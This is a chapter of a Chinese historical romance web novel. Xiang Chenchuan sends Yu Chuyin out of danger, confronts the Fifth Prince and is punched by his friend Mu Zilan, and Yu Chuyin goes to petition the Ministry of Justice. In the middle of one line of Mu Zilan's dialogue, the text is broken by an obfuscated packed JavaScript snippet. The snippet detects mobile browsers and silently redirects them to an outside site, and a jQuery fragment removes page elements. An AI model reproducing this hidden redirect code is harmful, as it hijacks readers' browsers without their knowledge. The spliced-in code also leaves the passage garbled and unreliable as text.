几个官兵离开后,项辰川转身走进巷子里,站定到余初音跟前。他逆光而立,身形轮廓被初晨的阳光镀了层金边,面容却隐在阴影中,看不清神色。
这样的项辰川看起来有些不真实,加上刚才被官兵追捕的紧张,余初音的声音里带了丝颤抖:“项辰川……”
“别说话,跟我走。”项辰川牵起她的手,带着她大步往巷子里走去。
“你带我去哪儿?”余初音步子凌乱,跟在项辰川身后走得跌跌撞撞。
“巷子外都是官兵,你跟我来便是。”
项辰川带着她拐了好几个弯,一直走到巷子深处才停下步子。不远处的前方停着一辆豪华的马车,乌木雕花的车厢宽敞气派,车顶呈卷棚式,四角微翘。
项辰川沉声对余初音道:“这是太师府的马车,沿途官兵不敢查,你上这马车出城。”
“我…必须走吗?”
“嗯。”项辰川只是淡淡应了一声。
余初音抬眸凝视着项辰川,“可是我要是出了城,以后还能见到你吗?”
项辰川没有回答,他松开拉着余初音的手,错开视线不敢看余初音的眼睛。
“回答我。”余初音回拉住项辰川的手,“你现在是不是在做很危险的事?
“我一直在做很危险的事,我没事的,放心吧!”
余初音明知道项辰川不会离开京城,但她还是问出了口:“你跟我一起出城,好不好?我们可以远离京城,去一个没人认识的地方重新生活。”
项辰川垂下眼眸,声音沙哑,“抱歉,我不能走。”
项辰川的话像一把刀子扎在她的心口,痛得眼睛发酸掉下泪来。她不敢再看项辰川一眼,怕自己会舍不得放手。
“那你保重。”余初音决然松开了手,转身快步向马车走去。
不料项辰川却追上她,将她整个人拉入怀中,随后捧着她的脸,用指腹替她抹去眼泪,“别哭!”
“我也不想哭,可是控制不了。”
余初音泪眼婆娑间,看见项辰川笑了,下一秒她的指尖被用力扣住,还未回神,一个吻落了下来。这次项辰川的吻很温柔。
片刻后,项辰川在她耳边,用极低声音说道:“巷子里有人盯着,现在就离开这里。”
余初音不知道自己是怎么上的马车,随着车帘被放下,随着项辰川的面容彻底消失在眼前,她的眼泪像决堤般止也止不住。
马夫赶来,马车启动,她缓缓摊开左手心,那里有刚才项辰川与她十指相扣时塞给她的东西,是一张泛黄的纸张,被叠了好几层。
她缓慢展开纸张,借着车帘缝隙透入的微光看去,这是一张十年前的卖身契,被卖人叫吴莺。卖身契中间还夹着一张小纸条,上次写着三行蝇头小字:第一行:五皇子欲杀你。第二行:去刑部翻案。第三行:初音,人生重新开始之意。
余初音想起来了,这张卖身契是十年前青楼买下原主的凭证。刚开铺子时青楼老鸨曾来闹事,项辰川用三百两从老鸨手中换下这张卖身契。
夹在卖身契中小纸条上字迹是项辰川的,第一行,项辰川透露给她五皇子想杀她灭口的事,结合项辰川最后在她耳边说的那句话,说明巷子里除了他俩还有人隐在暗处;第二行,项辰川让她拿着这张卖身契去刑部翻案,自证清白;而第三行的意思是原主名字的由来。
余初音看罢,心跳加速。她想起除夕前,她告诉项辰川自己名字的由来,是她妈妈清晨听到一声清亮的鸟鸣声,显然与原主实际情况不符。可项辰川既然调查过原主,为什么当时没有揭穿?
现在眼下最重要的不是项辰川的心思,而是尽快洗清嫌疑,想到这里余初音忙收好卖身契,然后将小纸条揉成一团吞入口中。
马车启动,项辰川一直站在原地默默看着,直到马车消失在巷子尽头才收回视线。这时五皇子从巷子另一边走了出来,身后还跟着一个暗卫。
“见过五皇子。”项辰川恭敬行礼。
“人送走了?”五皇子漫不经心踱到项辰川跟前,瞥了一眼渐行渐远的马车,伸出手拍了拍项辰川的肩膀,“干大事不该拘于小节,就算她不是余家后人,现在太子拿她做文章,留着她终究是个隐患。”
项辰川眼帘低垂,一字一顿道:“五皇子,我答应过您的事情一定会做到,但您答应我的事,也希望您不要食言。”
“呵…”五皇子轻笑一声,带着讥讽的口吻:“辰川,我今日才知道原来你是个情种。日后等我成了大事,你什么样的女人得不到,何必吊死在一棵树上呢?”
项辰川抬起头,直视五皇子正色回应:“五皇子,您曾说您若登上帝位,一定让天下四海升平、百姓安居乐业,就因为您这句话,八年前我才心甘情愿追随您。我认定的路我会走到底,哪怕丢掉自己的性命,但我认定的人我也要守住,还望五皇子见谅。”
“好,你能这么想就好,我日后定亏待不了你。”五皇子说着,重重拍了拍项辰川的肩膀,意味深长地看了他一眼,随后带着喑卫离开。
等五皇子走远,项辰川紧绷的身体才一点点放松下来。这位看似温润的五皇子,实则是个也是个心狠手辣的。淑贵妃娘家两个侄儿被太子关押时,五皇子派出暗卫,眼都不眨就结果了两个表哥性命。
当太子用余初音做局时,五皇子又命暗卫杀余初音,幸好余初音躲在书铺无人知晓才逃过一劫。今日五皇子听闻余初音出现在城南,竟又派暗卫前来灭口,好在被他及时拦下。
不心狠手辣如何成得了帝王?项辰川在心里苦笑。
他轻叹一声,转身往巷子外走去。城南的巷子错综复杂,正当他要拐入另一条巷子时,一道身影突然挡在了他面前。
看清来人项辰川一怔,诧异道:“子岚,你怎么在这……”
他话还没说完,鼻梁上结结实实挨了沐子岚一拳,一股温热的液体从鼻子里涌出,一滴一滴落在青石地板上,像一朵朵绽开的红梅。
沐子岚眼尾泛红,咬紧牙关道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894990|172986||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这一拳,是你欠我的,你说过我随时可以讨要回来。”
血腥味在项辰川口中蔓延,“你…你听到刚才我和五皇子的话了?”
“没错!要不是我担心余娘子亲自跟着马车过来,我还真不知道你为五皇子卖命这么多年!”沐子岚说着又朝项辰川的面门上挥了一拳,“而这一拳,是揍你这么多年不把我当兄弟。”
项辰川被打得眼冒金星,他没想到沐子岚会躲在暗处偷听,见沐子岚红着眼眶转身要走,他顾不得脸上的血,拽住沐子岚的胳膊,“你听我解释。”
“还有什么可解释的。”沐子岚狠狠甩开项辰川的手,“以往我就奇怪你怎么老让我查这查那,还时不时消失一段日子,原来你在干些见不得人的勾当,枉我当你这么多年兄弟。再说你干就干吧,居然不告诉我,你是看不起我,还是不信任我?”
“不是你想的那样,我之所以不告诉你,是怕你掺和进来有危险。”
“兄弟间不就应该同生共死,你现在当我什么?怕我危险?你…你当我是弱女子吗?”沐子岚气得声音发颤。
“子岚,你冷静一些。”
“我冷静不了。”
项辰川随意抹了一把脸上的血,“这个事以后再说,刚才凌风来报,江诗悦失踪的丫环已找到,咱们先回衙署。”
沐子岚冷哼一声,气呼呼向前走去。项辰川无奈摇了摇头跟上,他的鼻血仍没止住,心中暗骂:这臭小子下手可真狠!
另一边,太师府的马车并没有出城,而是载着余初音一路往北,最后停在了刑部的大门口。余初音下了马车,大步向刑部门口的登闻鼓走去。
刑部的温尚书正靠在书桌边打盹,突然耳边传来“咚咚咚”的击鼓声,惊得差点滚到桌底下去,他撑起身子扶正官帽,气得一拍桌子,“外面何人击鼓?”
差役小跑着进来,回道:“禀大人,外头有个书生打扮的人正在击鼓。”
这些日子来敲登闻鼓的大多是落榜书生,他们轮翻状告科举舞弊。温尚书皱着眉头很是不耐烦,“又是书生?这群书生有事没事就来提交诉状,自个儿家中没钱没人脉这能怨谁,唉!真是烦死了,让金侍郎出去将人打发了。”
“是。”差役领命而去。
温尚书说的打发不是将人直接赶走,而是让金侍郎出去接状记录,随后打发走人。至于诉状往不往上提交,那就由他们刑部说了算。
金侍郎走到刑部门口,见登闻鼓前一个瘦弱的身影,正在挥着鼓槌正一下一下重重的敲击着登闻鼓,那鼓声震得他耳膜嗡嗡作响。他急忙上前阻止:“别敲了,你有何冤情?”
“大人,我被人诬陷,特来击鼓鸣冤。”
金侍郎皱眉,眼前这人虽穿着青衣长衫像个书生,可声音却暴露出是个女子,且这人怎么越看越眼熟,于是他问道:“你是女子?”
“小女余初音,被人诬陷成逆臣余孽,特来向官府平反申冤!”
“你是余初音?”金侍郎当场愣在原地。